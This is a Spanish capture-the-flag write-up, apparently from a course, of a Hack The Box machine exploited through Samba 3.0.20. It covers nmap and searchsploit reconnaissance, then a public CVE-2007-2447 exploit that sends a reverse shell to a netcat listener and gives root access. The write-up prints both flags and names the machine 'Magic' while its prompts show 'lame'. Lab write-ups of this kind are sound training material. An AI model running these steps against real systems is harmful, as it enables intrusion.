

Índice

Introducción	2
Desarrollo de la práctica	2
Fase de reconocimiento	2
Fase de explotación	6
Fase de post-explotación	11
Escalada de privilegios	14
Conclusión	14

Introducción

En esta práctica llevaremos a cabo la aplicación de los conocimientos aprendidos en la **lección 5** donde tendremos como objetivos:

Desarrollo de la práctica

En esta práctica encontraremos un **Write Up** de la máquina **Magic** de **HTB**.

Fase de reconocimiento

Lo primero que haremos es ver los puertos que tenemos abiertos en la máquina:

```
nmap --min-rate 5000 -p- 10.10.10.3 -oG allports
```

PORT	STATE	SERVICE	REASON
21/tcp	open	ftp	syn-ack
22/tcp	open	ssh	syn-ack
139/tcp	open	netbios-ssn	syn-ack
445/tcp	open	microsoft-ds	syn-ack
3632/tcp	open	distccd	syn-ack

```
nmap -sV -sC -p- 10.10.10.3 -oG allports
```

```
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to 10.10.14.24
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     vsFTPD 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp    open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp    open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp  open  distccd      distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 4h39m11s, deviation: 0s, median: 4h39m11s
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   NetBIOS computer name:
|   Workgroup: WORKGROUP\x00
|_ System time: 2019-02-28T06:59:11-05:00
|_smb2-time: Protocol negotiation failed (SMB2)
```

Aquí vemos los puertos juntos a sus servicios y versión de los mismos. Por lo que los siguientes pasos son mirar si dichos puertos tienen vulnerabilidades conocidas en esas versiones. Esto lo haremos con **searchsploit**.

FTP (Puerto 21 TCP)

En este caso para la versión de **vsftpd 2.3.4** lo primero que vamos a hacer es comprobar si podemos lograr con el usuario **anonymous** cosa que no es posible. Lo siguiente que vamos a hacer es a mirar si la versión que corre es vulnerable a algún exploit que se conozca. Para esta versión existe un **exploit** que explota un backdoor que se encuentra en el servicio (en este caso con **Metasploit** por lo que vamos a ver si tenemos otra opción)

Samba (Puerto 445 TCP)

Para este caso también lo intentamos con el usuario **anonymous** y podemos ver algo pero al indagar no encontramos nada interesante.

```
[+] Finding open SMB ports....
[+] User SMB session established on 10.10.10.3...
[+] IP: 10.10.10.3:445  Name: 10.10.10.3
```

Disk	Permissions
----	-----
print\$	NO ACCESS
tmp	READ, WRITE
opt	NO ACCESS
IPC\$	NO ACCESS
ADMIN\$	NO ACCESS

En cuanto a vulnerabilidades encontramos bastantes.

```
root@kali# searchsploit samba 3.0
```

```
Exploit Title
```

```
Samba 3.0.10 (OSX) - 'lsa_io_trans_names' Heap Overflow (Metasploit)
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)
Samba 3.0.21 < 3.0.24 - LSA trans names Heap Overflow (Metasploit)
Samba 3.0.24 (Linux) - 'lsa_io_trans_names' Heap Overflow (Metasploit)
Samba 3.0.24 (Solaris) - 'lsa_io_trans_names' Heap Overflow (Metasploit)
Samba 3.0.27a - 'send_mailslot()' Remote Buffer Overflow
Samba 3.0.29 (Client) - 'receive_smb_raw()' Buffer Overflow (PoC)
Samba 3.0.4 - SWAT Authorisation Buffer Overflow
Samba < 3.0.20 - Remote Heap Overflow
```

```
Shellcodes: No Result
```

Fase de explotación

Después de todo lo encontrado hemos visto qué tenemos un **script en Python** con el qué podemos **explotar el servicio de Samba** y qué nos de una shell sin problemas. Lo primero qué vamos a hacer es descargar el script de github.

```
git clone https://github.com/amriunix/CVE-2007-2447
```

```
> git clone https://github.com/amriunix/CVE-2007-2447
Cloning into 'CVE-2007-2447'...
remote: Enumerating objects: 11, done.
remote: Total 11 (delta 0), reused 0 (delta 0), pack-reused 11
Receiving objects: 100% (11/11), done.
Resolving deltas: 100% (3/3), done.
> ls
CVE-2007-2447
```

Ahora para ejecutarlo tendremos qué escribir el comando de la siguiente manera:

```
python usermap_script.py <RHOST> <RPORT> <LHOST> <LPORT>
```

```
> python usermap_script.py 10.10.10.3 139 10.10.14.8 5050
[*] CVE-2007-2447 - Samba usermap script
[+] Connecting !
[+] Payload was sent - check netcat !
```

Y como podemos ver ya tenemos una shell de nuestra víctima.

```
> sudo nc -lnvp 5050
passwd:
Connection from 10.10.10.3:35964
whoami
root
|
```

Fase de post-explotación

Antes de seguir lo que vamos a hacer es sintetizar la shell para poder trabajar más cómodos. Lo primero que haremos será ejecutar el siguiente comando (al tratarse de un comando en python lo sintetizamos de la siguiente manera)

```
python -c 'import pty; pty.spawn("bash")'
```

```
python -c 'import pty; pty.spawn("bash")'  
root@lame:/#
```

Buscamos la flag.

```
root@lame:/# find . -name user.txt -exec cat {} \;  
find . -name user.txt -exec cat {} \;  
5ba86263dbc959f1939c174160dc454d
```

Ahora la de root.

```
root@lame:/# cd /root  
cd /root  
root@lame:/root# ls  
ls  
Desktop reset_logs.sh root.txt vnc.log  
root@lame:/root# cat root.txt  
cat root.txt  
caea82b5be599c26041d2af02406cffe  
root@lame:/root#
```